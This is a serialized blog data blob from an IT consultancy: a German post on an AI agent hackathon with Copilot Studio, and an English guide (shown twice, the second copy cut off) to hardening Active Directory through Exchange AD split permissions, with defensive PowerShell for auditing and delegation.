schließen, die der Stryker-Angriff ausgenutzt hat? Füllen Sie das Formular aus und wir erläutern Ihnen, wie es auf Ihre Umgebung zutrifft.",{"image":1787,"cloudinary":511,"alt":1788,"name":804,"quotee":804,"quoteeTitle":1789,"quote":5143},"Das Tool hat genau das getan, was man ihm gesagt hat. Das Problem war, dass niemand hätte in der Lage sein sollen, ihm das zu sagen – nicht von einem kompromittierten Alltags-Konto aus, nicht ohne eine zweite Genehmigung, nicht ohne eine isolierte administrative Umgebung. Das ist die Lücke, bei deren Schließung wir Organisationen helfen.",{"ctaText":1802,"cta":5145,"method":1074,"action":1805,"fields":5146},{"skin":1804},[5147,5148,5150,5152,5154,5157,5159,5160,5161,5163,5164,5165],{"type":1808,"id":1809,"value":1810},{"label":1812,"type":1813,"id":1814,"required":511,"requiredMsg":5149},"Bitte geben Sie Ihren Namen ein.",{"label":1817,"type":1813,"id":615,"required":511,"requiredMsg":5151},"Bitte geben Sie Ihr Unternehmen ein.",{"label":1820,"type":1821,"id":1821,"required":511,"requiredMsg":5153},"Bitte geben Sie Ihre E-Mail-Adresse ein.",{"label":5155,"type":1825,"id":1826,"required":752,"requiredMsg":5156},"Ihre Nachricht an uns","Bitte geben Sie eine Nachricht ein.",{"label":5158,"type":1830,"id":1831,"required":511,"requiredMsg":1832},"Ihre Daten werden gespeichert und zur Beantwortung Ihrer Anfrage verwendet. Weitere Informationen finden Sie in unserer \u003Ca href=\"/de/privacy\">Datenschutzerklärung\u003C/a>.",{"type":1808,"id":1834,"value":373},{"type":1808,"id":1836,"value":2193},{"type":1808,"id":1839,"value":5162},"Form: Blog Stryker Attack Intune Privilege | DE",{"type":1808,"id":1842,"value":1843},{"type":1808,"id":1845},{"type":1808,"id":1847},"/posts/2026-03-20-stryker-attack-intune-privilege",{"title":4865,"description":4871},"posts/2026-03-20-stryker-attack-intune-privilege",[103,5170,1119],"Privileged Access","zy02he8Pegg9x8cCjPWcEYmTfzkYQVnYgWhO_Clfueo",{"id":5173,"title":5174,"author":5175,"body":5176,"cta":767,"description":5180,"eventid":767,"extension":1073,"hideInRecent":752,"layout":1074,"meta":5212,"moment":5214,"navigation":511,"path":5227,"seo":5228,"stem":5229,"tags":5230,"webcast":752,"__hash__":5234},"content_de/posts/2026-03-16-ai-agent-hackathon.md","Sechs Agents. Vier Wochen. Echter Betrieb.",[1306],{"type":806,"value":5177,"toc":5210},[5178,5181,5184,5187,5190,5193,5198,5201,5204,5207],[814,5179,5180],{},"Wie viele Stunden verbringt eure IT-Abteilung pro Woche mit Aufgaben, die ein Agent in Minuten erledigen könnte?",[814,5182,5183],{},"Es gibt in der deutschen Unternehmenslandschaft einen Prozess, den fast jede IT-Abteilung kennt: Jemand liest Verträge. Jemand anderes sortiert Anforderungen in Kategorien. Wieder jemand beantwortet dieselben Fragen zu Lieferungen, die gestern schon jemand beantwortet hat. Es sind keine glamourösen Probleme. Aber es sind die, die in Summe Zehntausende Stunden im Jahr kosten und die sich erstaunlich gut für AI Agents eignen, wenn man weiß, wo man den Hebel ansetzt.",[814,5185,5186],{},"Sechs Unternehmen haben im Februar bei uns in Offenbach genau das getan. Kiekert lässt Anforderungen im R&D jetzt regelbasiert kategorisieren, mit Confidence Score und Feedback-Loop. Der Agent läuft bereits produktiv. Dr. Oetker hat einen Contract Review Assistant gebaut, der IT-Verträge auf kritische Klauseln prüft und einen strukturierten Prüfbericht für Einkauf und Legal erstellt. Eckes-Granini ist gleich mit zwei Agents angetreten: einem Onboarding-Agenten, der neue Mitarbeitende ab dem ersten Login durch MFA, Office-Setup und Sicherheitsrichtlinien führt, und einem Logistik-Agenten, der Disponenten Fragen zu Sendungen, Tarifen und Spediteuren beantwortet. igefa hat einen sprachbasierten Hotline-Agenten für den internen IT-Support entwickelt, angebunden an JIRA und Confluence. Und die lila logistik hat das vielleicht ungewöhnlichste Projekt mitgebracht: einen Use Case Generator, der in SharePoint und Exchange beobachtet, wo Automatisierungspotenziale liegen, weil das eigentliche Problem oft nicht die Technologie ist, sondern dass niemand im Unternehmen die richtigen Stellen erkennt.",[814,5188,5189],{},"All das entstand im Copilot Studio, mit Agent Flows, Dataverse Anbindungen und MCP Connectoren, begleitet von vier unserer MVPs. Vier Wochen Build-Phase, neben dem normalen Tagesgeschäft. Die Teilnehmenden mussten sich jede Stunde dafür freischaufeln, neben Tickets, Quartalsabschlüssen und dem operativen Betrieb. Dass am Ende sechs funktionsfähige Agents standen, sagt weniger über die Technologie als über die Teams, die sie gebaut haben.",[814,5191,5192],{},"Am 10. März, Microsoft Office Frankfurt, dann die Probe: Sechs Präsentationen, je 20 Minuten, bewertet nach Business Impact, technischer Tiefe und dem Applaus des Publikums (ja, auch der steht auf dem Bewertungsbogen). Kiekert hat gewonnen, weil ihr Agent produktiv läuft, gebaut von jemandem aus der Fachabteilung, ohne IT-Hintergrund, ohne Vorerfahrung im Copilot Studio. Dr. Oetker, weil die Vertragsprüfung so universell ist, dass die Jury danach über die eigenen IT-Verträge nachdachte. Dass alle sechs Teams in vier Wochen neben dem Tagesgeschäft einen lauffähigen Agent gebaut haben: Das war am Ende die eigentliche Nachricht des Tages.",[2038,5194],{"thumb":5195,"alt":5196,"id":5197,":full-width":2043},"/thumbs/thumb-ai-agent-hackathon.jpg","Präsentation des glueckkanja AI Agent Hackathons im Microsoft Office Frankfurt: Sechs Teams zeigen ihre Copilot Studio Agents vor Publikum.","GjumQAnKj8k",[2045,5199,5200],{"style":4984},"glueckkanja AI Agent Hackathon – Sechs Unternehmen, sechs Agents, vier Wochen",[814,5202,5203],{},"Das Format heißt glueckkanja AI Agent Hackathon. Entstanden aus einem Microsoft Hackathon in München, bei dem wir mit Knorr-Bremse teilgenommen haben. Microsoft hat uns danach gebeten, es mit unseren Kunden weiterzuführen. Die Idee ist einfach: Unternehmen bewerben sich mit einem konkreten Prozess, der heute manuell läuft. Wir schärfen den Use Case, definieren die Architektur und bauen gemeinsam. Wer nicht gleich in den Hackathon einsteigen will: Wir machen auch Workshops, in denen wir Use Cases identifizieren und die Agent Architektur vorbereiten: als Einstieg oder als eigenständiges Format.",[814,5205,5206],{},"Der nächste glueckkanja AI Agent Hackathon startet im Herbst 2026. Die Registrierung ist offen. Wer vorher schon Use Cases identifizieren und die eigene Umgebung vorbereiten will: Wir machen das gerne. Sprecht uns an.",[814,5208,5209],{},"Danke an Sylvia und Miriam von Microsoft für das Vertrauen ins Format. An Kiekert, Dr. Oetker, Eckes-Granini, igefa und die lila logistik für den Mut und den Einsatz. Und an unser glueckkanja-Team, dass ihr das möglich gemacht habt.",{"title":1062,"searchDepth":1063,"depth":1063,"links":5211},[],{"lang":4,"seoTitle":5213,"titleClass":1077,"date":5214,"categories":5215,"blogtitlepic":5216,"socialimg":5217,"customExcerpt":5218,"keywords":5219,"hreflang":5220,"published":511},"glueckkanja AI Agent Hackathon: Sechs Unternehmen bauen AI Agents mit Copilot Studio","2026-03-16",[1773],"head-ai-agent-hackathon.jpg","/blog/heads/head-ai-agent-hackathon.jpg","Sechs Unternehmen, vier Wochen Build-Phase, sechs funktionierende AI Agents – das war der erste glueckkanja AI Agent Hackathon. Kiekert, Dr. Oetker, Eckes-Granini, igefa und die lila logistik haben im Copilot Studio Agents gebaut, die heute produktiv laufen. Was dabei entstand und wie das Format funktioniert.","AI Agent Hackathon, Copilot Studio, glueckkanja, AI Agents, Microsoft Copilot, Agent Flows, Dataverse, MCP Connector, Kiekert, Dr. Oetker, Eckes-Granini, igefa, lila logistik, AI Automatisierung, Unternehmens-KI, Prozessautomatisierung",[5221,5223,5225],{"lang":4,"href":5222},"/de/posts/2026-03-16-ai-agent-hackathon",{"lang":1088,"href":5224},"/en/posts/2026-03-16-ai-agent-hackathon",{"lang":1091,"href":5226},"/es/posts/2026-03-16-ai-agent-hackathon","/posts/2026-03-16-ai-agent-hackathon",{"title":5174,"description":5180},"posts/2026-03-16-ai-agent-hackathon",[1117,5231,5232,5233],"Copilot Studio","Hackathon","AI Agents","AezE-PbU3R4HvvyLcY4iCjfmOojUoQr8V6qpK-hxp_Q",{"id":5236,"title":5237,"author":5238,"body":5239,"cta":767,"description":1062,"eventid":767,"extension":1073,"hideInRecent":752,"layout":1074,"meta":5896,"moment":5898,"navigation":511,"path":5923,"seo":5924,"stem":5925,"tags":767,"webcast":752,"__hash__":5926},"content_de/posts/2026-03-01-exchange-ad-split-permissions-hardening.md","Exchange AD Split Permissions without regrets",[1195],{"type":806,"value":5240,"toc":5883},[5241,5245,5248,5254,5259,5275,5278,5283,5286,5290,5298,5312,5318,5321,5326,5362,5385,5389,5397,5405,5410,5426,5430,5436,5440,5445,5503,5508,5545,5548,5552,5566,5573,5589,5598,5602,5605,5651,5654,5663,5672,5675,5689,5706,5719,5731,5736,5795,5799,5804,5824,5831,5855,5859,5862,5865,5880],[809,5242,5244],{"id":5243},"tldr-what-if-we-remove-the-downsides","TLDR: what if we remove the downsides?",[814,5246,5247],{},"I found a way to re-grant AD and RBAC permissions directly where Exchange users, groups, and contacts reside, requiring no changes for admins or identity management systems. In my experience, that friction has been the primary blocker for most companies. And we still retain the security benefits against lateral movement and domain compromise.",[814,5249,5250],{},[1728,5251],{"alt":5252,"src":5253},"Active Directory","https://res.cloudinary.com/c4a8/image/upload/v1770991330/blog/pics/Blog_-_Exchange_AD_Split_Permissions_-_1.png",[814,5255,5256],{},[973,5257,5258],{},"It’s achieved in three steps:",[5260,5261,5262,5269,5272],"ol",{"style":967},[970,5263,5264,5265],{},"Implement ",[821,5266,5268],{"href":5267},"https://learn.microsoft.com/en-us/exchange/permissions/split-permissions/configure-exchange-for-split-permissions#switch-to-active-directory-split-permissions","AD split permission model",[970,5270,5271],{},"Grant Exchange servers the lost AD permissions, but only on the relevant OUs",[970,5273,5274],{},"Grant Exchange RBAC to re-enable missing PowerShell cmdlets",[814,5276,5277],{},"All via Microsoft’s guidance, AD ACLs or Exchange RBAC assignments.",[2038,5279],{"thumb":5280,"alt":5281,"id":5282,":full-width":2043},"/thumbs/thumb-exchange-ad-split-permissions-webcast.jpg","A presenter sits in front of a laptop explaining a slide titled Step 1: Active Directory Permissions by glueckkanja. The slide covers how to implement Microsoft Exchange AD Split Permissions, including PowerShell commands for creating a delegation group (New-ADGroup, Add-ADGroupMember) and applying permissions via the script Add-ExchangeADSplitPermissionOnOU.ps1.","soNZkNRopSQ",[2045,5284,5285],{"style":4984},"Webcast: Exchange AD Split Permissions without regrets. A Step-by-step implementation guide",[809,5287,5289],{"id":5288},"why-do-we-care-now","Why do we care (now)?",[814,5291,5292,5293,5295,5297],{},"It has been largely overlooked or ignored since it was introduced with Exchange 2010 SP1. But the default shared permissions model represents a big security risk of Active Directory takeover. Combined with Exchange being notorious for remote exploits the last few years, it’s time to act!",[2944,5294],{},[2944,5296],{},"\nThe problem originates from privileges granted to the root of a domain that get inherited throughout the domain.",[965,5299,5300,5303,5306,5309],{"style":967},[970,5301,5302],{},"modify permissions on users and groups (effectively full access)",[970,5304,5305],{},"modify group members",[970,5307,5308],{},"reset password on users",[970,5310,5311],{},"create/delete users and groups",[814,5313,5314],{},[1728,5315],{"alt":5316,"src":5317},"Permissions","https://res.cloudinary.com/c4a8/image/upload/v1770991330/blog/pics/Blog_-_Exchange_AD_Split_Permissions_-_2.png",[814,5319,5320],{},"Only certain highly privileged Tier 0 users and groups are protected by the AdminSDHolder process (attribute admincount=1) and in many environments there will be unprotected users or groups that could allow compromise of the domain and/or forest or at least cause serious impact.",[814,5322,5323],{},[973,5324,5325],{},"Prominent examples:",[965,5327,5328,5331,5351],{"style":967},[970,5329,5330],{},"Entra Connect Sync account when using Password Hash Sync",[970,5332,5333,5334],{},"Default groups",[965,5335,5337,5340,5348],{"style":5336},"margin: 0",[970,5338,5339],{},"Allowed RODC Password Replication Group together with Entra Connect account (if a real Windows RODC exists)",[970,5341,5342,5343,5347],{},"Also see ",[821,5344,5346],{"href":5345,"target":516},"https://specterops.io/blog/2025/06/25/untrustworthy-trust-builders-account-operators-replicating-trust-attack-aorta","Untrustworthy Trust Builders: Account Operators Replicating Trust Attack (AORTA) - SpecterOps"," showing more paths (Account Operators group is a similar threat)",[970,5349,5350],{},"Emptying Protected Users to create attack vectors by removing protections",[970,5352,5353,5354],{},"Unprotected custom groups or admin/service accounts",[965,5355,5356,5359],{"style":5336},[970,5357,5358],{},"Write permission on GPOs (applying to domain controller)",[970,5360,5361],{},"Managing access to AD backups, backup server, PKI templates, hypervisor, ...",[814,5363,5364,5365,5367,5369,5370,5375,5377,5379,5380],{},"It is very hard to retroactively contain all these current and future potential pathways. For the _ADM custom OU, you could disable ACL inheritance, but most default objects may not be moved from the default Builtin OU or Users container and remain vulnerable.",[2944,5366],{},[2944,5368],{},"\nIt is much better to remove the powerful permissions from the root, which is done by implementing the Active Directory split permissions model. ",[821,5371,5374],{"href":5372,"rel":5373},"https://learn.microsoft.com/en-us/exchange/permissions/split-permissions/configure-exchange-for-split-permissions",[825],"Configure Exchange Server for split permissions | Microsoft Learn",[2944,5376],{},[2944,5378],{},"\nAnd Microsoft agrees “…encouraged to implement Active Directory split permissions” ",[821,5381,5384],{"href":5382,"rel":5383},"https://techcommunity.microsoft.com/blog/coreinfrastructureandsecurityblog/active-directory-hardening-series---part-7-%E2%80%93-implementing-least-privilege/4366626",[825],"Active Directory Hardening Series - Part 7 – Implementing Least Privilege | Microsoft Community Hub",[809,5386,5388],{"id":5387},"but-why-is-no-one-doing-it","But why is no one doing it?",[814,5390,5391,5392,5394,5396],{},"As split permissions weren’t available until Exchange 2010 SP1, everyone had accepted it by then and it seems that security teams did not manage to push it successfully once it existed.",[2944,5393],{},[2944,5395],{},"\nAnd it would have forced changes to admin and IDM processes, like creating users or distribution lists in AD first and only afterwards using Exchange to “mail enable” them.",[1680,5398,5399],{},[814,5400,5401,5404],{},[973,5402,5403],{},"Info:"," The following cmdlets will no longer be available or working: Add-DistributionGroupMember, New-DistributionGroup, New-Mailbox, New-MailContact, New-MailUser, New-RemoteMailbox, Remove-DistributionGroup, Remove-DistributionGroupMember, Remove-Mailbox, Remove-MailContact, Remove-MailUser, Remove-RemoteMailbox, Update-DistributionGroupMember, Add-ADPermission, Remove-ADPermission",[814,5406,5407],{},[973,5408,5409],{},"Adoption examples:",[965,5411,5412,5423],{"style":967},[970,5413,5414,5415],{},"New-Mailbox (where Exchange writes to AD) would be:",[965,5416,5417,5420],{"style":5336},[970,5418,5419],{},"New-ADUser (where adm.jdoe writes to AD)",[970,5421,5422],{},"Enable-Mailbox",[970,5424,5425],{},"Add-ADPermission for SendAs rights would have to be done via AD users and computers in the security tab and often requiring additional AD permissions for standard admins.",[809,5427,5429],{"id":5428},"show-me-this-no-regrets-option","Show me this no-regrets option!",[814,5431,5432,5435],{},[973,5433,5434],{},"Disclaimer",": Please fully read and understand the following links and articles, perform it in a test environment first, make sure AD backups are current and recovery practices are established!",[1684,5437,5439],{"id":5438},"audit-current-usage","Audit current usage",[814,5441,5442],{},[973,5443,5444],{},"You should first check which of the affected cmdlets are in use on which OUs:",[2937,5446,5447,5454,5456,5462,5464],{},[1706,5448,5449,5453],{},[1706,5450,5452],{"style":5451},"color:var(--color-gk-orange)","$CsvPath"," = \"C:\\temp\\SplitPermissionAdminAuditLog.csv\"",[2944,5455],{},[1706,5457,5458,5461],{},[1706,5459,5460],{"style":5451},"$Cmdlets"," = \"Add-ADPermission\",\"Remove-ADPermission\",\"New-DistributionGroup\",\"Remove-DistributionGroup\",\"Add-DistributionGroupMember\",\"Update-DistributionGroupMember\",\"Remove-DistributionGroupMember\",\"New-Mailbox\",\"Remove-Mailbox\",\"New-RemoteMailbox\",\"Remove-RemoteMailbox\",\"New-MailUser\",\"Remove-MailUser\",\"New-MailContact\",\"Remove-MailContact\"",[2944,5463],{},[1706,5465,5466,976,5469,5473,5474,976,5477,5479,5480,5483,5484,976,5487,976,5490,976,5492,5495,5496,5499,5500],{},[1706,5467,5468],{"style":5451},"Search-AdminAuditLog",[1706,5470,5472],{"style":5471},"color:var(--color-gk-mid-blue)","-ResultSize"," 99000 ",[1706,5475,5476],{"style":5471},"-Cmdlets",[1706,5478,5460],{"style":5451}," | ",[1706,5481,5482],{"style":5451},"Select-Object"," RunDate,Caller,ObjectModified,CmdletName,@{Name='CmdletParameters';Expression={[string]::join(\",\", ($\\_.CmdletParameters))}},succeeded,error | ",[1706,5485,5486],{"style":5451},"Export-Csv",[1706,5488,5489],{"style":5471},"-Path",[1706,5491,5452],{"style":5451},[1706,5493,5494],{"style":5471},"-Delimiter"," \";\" ",[1706,5497,5498],{"style":5471},"-Encoding"," Unicode ",[1706,5501,5502],{"style":5471},"-NoTypeInformation",[814,5504,5505],{},[973,5506,5507],{},"Quick Analysis of caller and cmdlets:",[2937,5509,5510,5526,5528,5536,5538],{},[1706,5511,5512,5515,5516,976,5519,976,5521,976,5523,5525],{},[1706,5513,5514],{"style":5451},"$CSVs"," = ",[1706,5517,5518],{"style":5451},"Import-Csv",[1706,5520,5489],{"style":5471},[1706,5522,5452],{"style":5451},[1706,5524,5494],{"style":5471}," \";\"",[2944,5527],{},[1706,5529,5530,5479,5532,5535],{},[1706,5531,5514],{"style":5451},[1706,5533,5534],{"style":5451},"Group-Object"," Caller",[2944,5537],{},[1706,5539,5540,5479,5542,5544],{},[1706,5541,5514],{"style":5451},[1706,5543,5534],{"style":5451}," CmdletName",[814,5546,5547],{},"Analyze the CSV for where AD permissions will be needed. Potentially optimize by moving all Exchange-relevant groups into dedicated OUs.",[809,5549,5551],{"id":5550},"enable-split-permissions-model","Enable Split Permissions Model",[814,5553,5554,5555,5558,5559,5563],{},"Follow Microsoft's instructions ",[973,5556,5557],{},"\"Switch to Active Directory split permissions\""," in\n",[821,5560,5374],{"href":5561,"rel":5562},"https://learn.microsoft.com/en-us/exchange/configure-exchange-server-for-split-permissions",[825],[1735,5564,5565],{},"(NOT RBAC split permissions)",[814,5567,5568,5569,5572],{},"In essence, it will remove the dangerous permissions of the ",[973,5570,5571],{},"\"Exchange Windows Permissions\""," group and also remove Exchange as a group member.",[2937,5574,5575],{},[1706,5576,5577,976,5580,976,5583,976,5586],{},[1706,5578,5579],{"style":5451},"Setup.exe",[1706,5581,5582],{"style":5471},"/IAcceptExchangeServerLicenseTerms_DiagnosticDataOFF",[1706,5584,5585],{"style":5471},"/PrepareAD",[1706,5587,5588],{"style":5471},"/ActiveDirectorySplitPermissions:true",[2045,5590,968,5592,5594,5595],{"style":5591},"background:#f4f4f4; border-left:4px solid var(--color-gk-petrol); border-radius:0 6px 6px 0; padding:0.75rem 1rem; margin:1rem 0; font-size:0.88rem; color:#000520;",[973,5593,5403],{}," To revert back, simply use ",[2459,5596,5597],{},"/ActiveDirectorySplitPermissions:false",[1684,5599,5601],{"id":5600},"grant-ad-permissions","Grant AD Permissions",[814,5603,5604],{},"Create a custom AD group and make Exchange servers members.",[2937,5606,5607,5613,5615,976,5618,5621,5622,5625,5626,5629,5630,976,5632,976,5635,5638,5639,5641,5621,5644,5647,5648],{},[1706,5608,5609],{},[1706,5610,5612],{"style":5611},"color:var(--color-black-40)","# adjust OU Path first!",[2944,5614],{},[1706,5616,5617],{"style":5451},"New-ADGroup",[1706,5619,5620],{"style":5471},"-Name"," \"AD_Custom Exchange Split permissions replacement\" ",[1706,5623,5624],{"style":5471},"-GroupCategory"," Security ",[1706,5627,5628],{"style":5471},"-GroupScope"," DomainLocal ",[1706,5631,5489],{"style":5471},[973,5633,5634],{},"\"OU=Rights,OU=Groups,OU=T1,OU=_ADM,$((Get-ADDomain).DistinguishedName)\"",[1706,5636,5637],{"style":5471},"-Description"," \"replaces the permissions lost by split permissions on relevant OUs\"",[2944,5640],{},[1706,5642,5643],{"style":5451},"Add-ADGroupMember",[1706,5645,5646],{"style":5471},"-Members"," \"Exchange Trusted Subsystem\"\n",[1706,5649,5650],{"style":5611},"# reboot Exchange servers for permissions via group to work",[814,5652,5653],{},"I’ve created a script to make delegating the AD permissions easy per use case.",[1680,5655,5656],{},[814,5657,5658,5659,5662],{},"Without these permissions the Exchange server would receive the error ",[2459,5660,5661],{},"“INSUFF_ACCESS_RIGHTS”"," from AD.",[814,5664,5665,5666,5671],{},"Download ",[821,5667,5670],{"href":5668,"rel":5669},"https://github.com/glueckkanja/code-snippets/blob/main/ExchangeADSplitPermission/Add-ExchangeADSplitPermissionOnOU.ps1",[825],"Add-ExchangeADSplitPermissionOnOU.ps1"," from glueckkanja GitHub",[814,5673,5674],{},"It can grant the following PermissionTypes:",[814,5676,5678,5681,5683,5684,5686],{"style":5677},"background:#f5f5f5;padding:0.5rem 1rem;margin:0.25rem 0;border-left:3px solid #d8d8d8;",[973,5679,5680],{},"CreateUserAndContact",[2944,5682],{},"Create/delete, ResetPassword and WriteAllProperties for Users and Contacts",[2944,5685],{},[2053,5687,5688],{},"Exchange cmdlets: `New-Mailbox`, `New-RemoteMailbox`, `New-MailUser`, `New-MailContact` and matching `Remove-*`",[814,5690,5692,5695,5697,5698,5700],{"style":5691},"background:#f5f5f5;padding:0.5rem 1rem;margin:0.25rem 0;border-left:3px solid #d8d8d8",[973,5693,5694],{},"GroupManage",[2944,5696],{},"Create/Delete Groups, Modify Member",[2944,5699],{},[2053,5701,5702,5703,5705],{},"Exchange cmdlets: `New-DistributionGroup`, `Remove-DistributionGroup`, `Add-DistributionGroupMember`, `Update-DistributionGroupMember`, `Remove-DistributionGroupMember`",[2944,5704],{},"Also: user managing DistributionGroups they own via EAC",[814,5707,5708,5711,5713,5714,5716],{"style":5691},[973,5709,5710],{},"UserSendAs",[2944,5712],{},"Modify AD Permissions on Users",[2944,5715],{},[2053,5717,5718],{},"Exchange cmdlet: `Add-ADPermission`",[814,5720,5721,5724,5726,5727,5729],{"style":5691},[973,5722,5723],{},"GroupSendAs",[2944,5725],{},"Modify AD Permissions on Groups",[2944,5728],{},[2053,5730,5718],{},[814,5732,5733],{},[973,5734,5735],{},"How to use the script:",[2937,5737,5738,976,5740,5743,5744,5747,5748,5751,5752,5755,5757,976,5759,5761,5762,5764,5765,5751,5767,976,5769,5761,5771,5773,5774,5751,5776,976,5778,5780,5781,5783,5784,5751,5786,976,5788,5780,5790,5792,5793,5751],{},[1706,5739,5670],{"style":5451},[1706,5741,5742],{"style":5471},"-TargetOU"," \u003COU> ",[1706,5745,5746],{"style":5471},"-PermissionType"," \u003CGroupManage|UserSendAs|GroupSendAs|CreateUserAndContact> ",[1706,5749,5750],{"style":5471},"-Trustee"," \"AD_Custom Exchange Split permissions replacement\"\n",[1706,5753,5754],{"style":5611},"# For example",[2944,5756],{},[1706,5758,5670],{"style":5451},[1706,5760,5742],{"style":5471}," \"OU=ExchangeGroups,OU=HQ,OU=Alderaan,$((Get-ADDomain).DistinguishedName)\" ",[1706,5763,5746],{"style":5471}," GroupManage ",[1706,5766,5750],{"style":5471},[1706,5768,5670],{"style":5451},[1706,5770,5742],{"style":5471},[1706,5772,5746],{"style":5471}," GroupSendAs ",[1706,5775,5750],{"style":5471},[1706,5777,5670],{"style":5451},[1706,5779,5742],{"style":5471}," \"OU=Users,OU=HQ,OU=Alderaan,$((Get-ADDomain).DistinguishedName)\" ",[1706,5782,5746],{"style":5471}," UserSendAs ",[1706,5785,5750],{"style":5471},[1706,5787,5670],{"style":5451},[1706,5789,5742],{"style":5471},[1706,5791,5746],{"style":5471}," CreateUserAndContact ",[1706,5794,5750],{"style":5471},[1684,5796,5798],{"id":5797},"grant-exchange-rbac","Grant Exchange RBAC",[814,5800,5801],{},[973,5802,5803],{},"Re-enable -BypassSecurityGroupManagerCheck parameter for Add-DistributionGroupMember and Remove-DistributionGroupMember cmdlets:",[2937,5805,5806],{},[1706,5807,5808,976,5811,5813,5814,5817,5818,5820,5821,5823],{},[1706,5809,5810],{"style":5451},"New-RoleGroup",[1706,5812,5620],{"style":5471}," \"SplitPermission Security Group Creation and Membership\" ",[1706,5815,5816],{"style":5471},"-Roles"," \"Security Group Creation and Membership\" ",[1706,5819,5646],{"style":5471}," \"Organization Management\",\"Recipient Management\" ",[1706,5822,5637],{"style":5471}," \"Brings back -BypassSecurityGroupManagerCheck to Add-DistributionGroupMember, but also needs AD ACL for Exchange Server on target DLs\"",[1680,5825,5826],{},[814,5827,5828,5830],{},[973,5829,5403],{}," Else you get \"-BypassSecurityGroupManagerCheck parameter is not available\" or \"You don't have sufficient permissions. This operation can only be performed by a manager of the group\"",[814,5832,5833,5835,5838,5840],{},[2944,5834],{},[973,5836,5837],{},"Re-enable New-Mailbox, New-RemoteMailbox, New-MailContact, Remove-... cmdlets with needed parameters:",[2944,5839],{},[2937,5841,5842,976,5844,5846,5847,5849,5850,5820,5852,5854],{},[1706,5843,5810],{"style":5451},[1706,5845,5620],{"style":5471}," \"SplitPermission Mail Recipient Creation\" ",[1706,5848,5816],{"style":5471}," \"Mail Recipient Creation\" ",[1706,5851,5646],{"style":5471},[1706,5853,5637],{"style":5471}," \"Brings back New-Mailbox, New-RemoteMailbox, New-MailUser, New-MailContact and matching Remove-... cmdlets, but additionally Exchange needs AD ACL for Exchange Server on target OUs\"",[809,5856,5858],{"id":5857},"conclusions","Conclusions",[814,5860,5861],{},"I hope this guide helps more organizations take the important step of securing their Active Directory against compromise via Exchange. In my experience implementing the Exchange AD Split Permissions model across multiple customers, I have not encountered any issues and the adoption has been smooth.",[814,5863,5864],{},"I also hope Microsoft will introduce a native, OU-based approach to achieve this level of granularity, rather than the current all-or-nothing model, which would make widespread adoption significantly easier.",[814,5866,5867,5868,5873,5874,5879],{},"A note on AD Tiering: Please do not log on to Exchange servers with Domain Admin or any other Tier 0 accounts. Treat Exchange servers as Tier 1 and implement AD Tiering as soon as possible. As a first step, I recommend using ",[821,5869,5872],{"href":5870,"rel":5871},"https://www.pingcastle.com/",[825],"PingCastle"," or ",[821,5875,5878],{"href":5876,"rel":5877},"https://www.semperis.com/purple-knight/",[825],"Purple Knight"," to assess your AD security posture and identify control path exposures.",[4528,5881,5882],{},"\ncode {\n  font-size: inherit\n}\n",{"title":1062,"searchDepth":1063,"depth":1063,"links":5884},[5885,5886,5887,5888,5891,5895],{"id":5243,"depth":1063,"text":5244},{"id":5288,"depth":1063,"text":5289},{"id":5387,"depth":1063,"text":5388},{"id":5428,"depth":1063,"text":5429,"children":5889},[5890],{"id":5438,"depth":1765,"text":5439},{"id":5550,"depth":1063,"text":5551,"children":5892},[5893,5894],{"id":5600,"depth":1765,"text":5601},{"id":5797,"depth":1765,"text":5798},{"id":5857,"depth":1063,"text":5858},{"lang":4,"seoTitle":5897,"titleClass":1077,"date":5898,"blogtitlepic":5899,"socialimg":5900,"customExcerpt":5901,"keywords":5902,"hreflang":5903,"scripts":5910,"asideNav":5911,"maxContent":511,"published":511},"Exchange AD Split Permissions: Secure Active Directory with Least Privilege","2026-03-01","head-exchange-ad-split-permissions","/blog/heads/head-exchange-ad-split-permissions.jpg","Even organizations that have fully migrated their mailboxes to the cloud often still run on-premises Exchange servers and with them, an underestimated security risk for Active Directory. The \"AD Split Permissions\" model strips Exchange of the broad AD privileges attackers could exploit for a full domain compromise. Until now, adoption has largely failed due to the process changes it imposes on administrators. This article shows how to elegantly overcome exactly that hurdle: a script that selectively re-grants the lost AD permissions on the relevant OUs only, preserving the familiar admin workflow while still achieving the full security benefit.","Exchange Server, Active Directory, AD split permissions, RBAC, Exchange permissions, AdminSDHolder, least privilege, AD ACL, PowerShell",[5904,5906,5908],{"lang":4,"href":5905},"/de/posts/2026-03-01-exchange-ad-split-permissions-hardening",{"lang":1091,"href":5907},"/es/posts/2026-03-01-exchange-ad-split-permissions-hardening",{"lang":1088,"href":5909},"/en/posts/2026-03-01-exchange-ad-split-permissions-hardening",{"slick":511,"form":511},{"menuItems":5912},[5913,5915,5917,5919,5921],{"href":5914,"text":5244},"#tldr-what-if-we-remove-the-downsides",{"href":5916,"text":5289},"#why-do-we-care-now",{"href":5918,"text":5388},"#but-why-is-no-one-doing-it",{"href":5920,"text":5429},"#show-me-this-no-regrets-option",{"href":5922,"text":5858},"#conclusions","/posts/2026-03-01-exchange-ad-split-permissions-hardening",{"title":5237,"description":1062},"posts/2026-03-01-exchange-ad-split-permissions-hardening","2LLcvg4ClzcZySeeO5MMZkQ0Dmst7mCMcGysY3DmXFA",{"id":5928,"title":5929,"author":5930,"body":5932,"cta":767,"description":1062,"eventid":767,"extension":1073,"hideInRecent":511,"layout":1074,"meta":6391,"moment":6392,"navigation":511,"path":6409,"seo":6410,"stem":6411,"tags":767,"webcast":752,"__hash__":6412},"content_de/posts/2026-01-27-exchange-active-directory.md","​​​Exchange AD Split Permissions without regrets​",[5931],"​Thorsten Kunzi​",{"type":806,"value":5933,"toc":6374},[5934,5936,5939,5943,5946,5963,5965,5967,5972,5982,5986,5989,5992,6022,6035,6037,6042,6050,6053,6066,6068,6073,6075,6085,6090,6095,6113,6116,6140,6142,6162,6170,6182,6192,6246,6249,6272,6289,6301,6314,6321,6323,6332,6343,6354,6356,6359,6362,6372],[1684,5935,5244],{"id":5243},[814,5937,5938],{},"I found a way to re-grant the AD and RBAC permissions where the Exchange user, groups, contacts, etc. reside. This way there is no adoption needed for admins or identity management systems, which in my experience was the blocker for most companies to implement it. And we still get the security benefit against lateral movement and domain compromise.",[814,5940,5941],{},[1728,5942],{"alt":5252,"src":5253},[1684,5944,5258],{"id":5945},"its-achieved-in-three-steps",[5260,5947,5948,5955,5959],{},[970,5949,5264,5950,5953],{},[821,5951,5268],{"href":5267,"rel":5952},[825],[2944,5954],{},[970,5956,5271,5957],{},[2944,5958],{},[970,5960,5274,5961],{},[2944,5962],{},[814,5964,5277],{},[1684,5966,5289],{"id":5288},[814,5968,5969,5970,5297],{},"It has been largely overlooked or ignored since it was introduced with 